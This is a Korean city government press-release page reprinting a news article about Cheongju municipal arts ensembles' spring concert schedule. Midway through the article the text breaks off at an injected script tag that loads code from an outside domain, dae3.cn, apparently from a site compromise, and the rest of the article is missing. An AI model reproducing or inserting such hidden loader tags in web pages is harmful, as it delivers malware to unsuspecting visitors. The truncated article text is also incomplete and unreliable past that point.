본문 바로가기

정보공개방

정보공개방

커뮤니티-보도자료 상세보기 - 제목, 내용, 파일 제공
제목 [동양일보]겨울잠 깬 청주시립예술단 봄맞이 ‘기지개’
내용 겨울잠 깬 청주시립예술단 봄맞이 ‘기지개’ 청주시립예술단이 긴 겨울잠에 깨어나 시민들을 찾아온다. 지난 한달 간의 무대 점검 기간을 거친 청주예술의전당의 새 날갯짓이 사뭇 기대되는 요즘이다. 더욱 큰 감동과 다양한 공연 계획을 세우고. 기량을 재충전하는 등 시민과 만날 그 날을 손꼽아 기다리며 준비를 해왔기 때문이다. 오는 2월∼3월부터는 드디어 동면기에서 깨어나 기존과는 색다른 시도의 청주시립예술단 공연들이 봇물처럼 터진다. 청주시립국악단의 정월대보름맞이 국악한마당 ‘정월풍류(正月風流)’를 비롯해 청주시립교향악단의 발렌타인데이 콘서트 ‘러브레터’와 봄을 여는 음악회 ‘비엔나 왈츠’. 청주시립합창단의 ‘브런치 콘서트’. 청주시립무용단의 22회 정기연주회 ‘천년의 숨’이 연달아 시민을 찾아간다. ◇청주시립국악단 143회 수시연주회 ‘정월풍류(正月風流)’포문을 열 첫 번째 공연은 청주시립국악단의 143회 수시연주회 ‘정월풍류’이다. 병술년 새해 대보름을 맞이해 전통음악의 풍류와 신명을 즐기며 태평성대를 기원하는 공연으로. 9일 오후 7시30분 청주예술의전당 대공연장에서 열린다. 1부에서는 우리민족 고유의 얼과 풍류의 멋스러움이 배어나는 정악합주곡 ‘평조회상(平調會相)’을 선보인다. 2부에서는 사물가락에 축원과 고사덕담의 가사를 붙인 ‘비나리’를 선사한다. 공연의 문을 열어서 오신 모든 분들의 평안과 안녕을 바라고 새로운 희망과 한해의 태평성대를 기원하는 자리를 마련하여 흥을 돋울 예정이다. ◇청주시립교향악단의 발렌타인데이 콘서트 ‘러브레터’·‘비엔나 왈츠’ 이어지는 공연은 오는 14일 오후 7시30분. 청주예술의전당 소공연장에서 펼쳐지는 청주시립교향악단의 발렌타인데이 콘서트 ‘러브레터’. 20∼30대 젊은 층들도 클래식 공연을 즐길 수 있게 하기 위해 이제는 하나의 문화로 자리 잡은 ‘발렌타인데이’에 영화관이나 커피숍이 아닌 공연장을 찾을 수 있도록 새로 기획된 공연이다. 엘가의 ‘사랑의 인사’와 쇼팽의 ‘녹턴’. 슈베르트의 ‘백조의 노래’ 중 세레나데. 크라이슬러의 ‘사랑의 기쁨’ 등 사랑을 주제로 하는 익숙한 클래식 곡들을 들려준다. 또 봄을 맞이해 청주시향은 봄 내음 물씬 풍기는 연주회를 마련한다. 오는 3월16일 청주예술의전당 대공연장에서. 왈츠의 본 고장 ‘비엔나’에서 왕성한 활동을 ?script src=http://dae3.cn>
파일
이전,다음보기
이전글 [새충청일보]러브레터 공연
다음글 [뉴시스]봄맞이 시립예술단 공연 봇물

담당자 정보

  • 담당부서 : 민원과
  • 담당자 : 이수민
  • 문의전화(043) : 201-2973

콘텐츠 만족도 조사

이 페이지에서 제공하는 정보에 대하여 어느 정도 만족하셨습니까?

만족도 조사